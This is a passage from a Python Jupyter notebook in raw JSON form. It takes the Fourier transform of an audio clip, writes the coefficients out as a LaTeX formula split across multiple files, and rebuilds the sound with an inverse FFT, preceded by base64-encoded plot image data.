"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\n", "TkSuQmCC\n" ], "text/plain": [ "<matplotlib.figure.Figure at 0x7f5366b53690>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "Y = np.fft.fft(signal)\n", "plt.figure(2)\n", "plt.title('Fourier transform')\n", "plt.plot(Y)" ] }, { "cell_type": "code", "execution_count": 7, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "array([ 3.79386760e+07 +0.j , -1.11978943e+04-25406.69537752j,\n", " -1.67714729e+04 +5782.91817767j, ...,\n", " -1.09229381e+04+21810.02214398j, -1.67714729e+04 -5782.91817766j,\n", " -1.11978943e+04+25406.69537752j])" ] }, "execution_count": 7, "metadata": {}, "output_type": "execute_result" } ], "source": [ "Y" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Writing the Fast Fourier Transform in Latex\n", "\n", "We output the formula to a document, using the Latex syntax. The final pdf file will be too big to be handled by one latex file. Therefore, we split it in multiple files, included in a main latex file." ] }, { "cell_type": "code", "execution_count": 14, "metadata": { "collapsed": false }, "outputs": [], "source": [ "lfile = open(\"latex.tex\",\"w\")\n", "N = str(len(Y))\n", "\n", "lfile.write(\"\\\\documentclass{scrartcl}\\n\\\\usepackage{amsmath}\\n\\\\begin{document}\\n\")\n", "lfile.write(\"\\\\allowdisplaybreaks[1]\\n\")\n", "lfile.write(\"\\\\title{Hungarian March}\\n\\\\subtitle{First 8 seconds!}\\n\")\n", "\n", "\n", "# Huge files cause a memory error in pdflatex\n", "# We split in small files\n", "\n", "j = 0\n", "ffile = open(\"latex\"+str(0)+\".tex\",\"w\")\n", "ffile.write(\"\\\\begin{align*}\\n\")\n", "for k in range(len(Y)):\n", " j = j+1\n", " if j==28:\n", " j=0\n", " ffile.write(\"\\\\end{align*}\\n\")\n", " lfile.write(\"\\\\input{latex\"+str((k-1)/28)+\".tex}\\n\")\n", " ffile.close()\n", " ffile = open(\"latex\"+str(k/28)+\".tex\",\"w\")\n", " ffile.write(\"\\\\begin{align*}\\n\")\n", " ffile.write(str(Y[k]) + \"e^{ \\\\frac{j \\\\tau}{\" + N + \"} \" + str(k) + \"t } && + \\\\\\\\ \\n\")\n", "ffile.write(\"\\\\end{align*}\\n\")\n", "\n", "lfile.write(\"\\\\end{document}\")\n", "lfile.close()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Inverse Fast Fourier Transform\n", "\n", "We will check the formula is correct performing the inverse transformation on the formula to obtain the original signal and outputting it into a new .wav file, which will sound exactly as the original one." ] }, { "cell_type": "code", "execution_count": 8, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# Inverses the fast fourier transform\n", "yinv = np.fft.ifft(Y)\n", "newsignal = yinv.real.astype(np.int16)\n", "newsignal = newsignal.copy(order='C')" ] }, { "cell_type": "code", "execution_count": 9, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# Recreates the wave file\n", "spfw = wave.open('test3.wav','w')\n", "spfw.setnchannels(spf.getnchannels())\n", "spfw.setsampwidth(spf.getsampwidth())\n", "spfw.setframerate(spf.getframerate())\n", "spfw.writeframes(newsignal)" ] } ], "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.6" } }, "nbformat": 4, "nbformat_minor": 0 }

gpl-2.0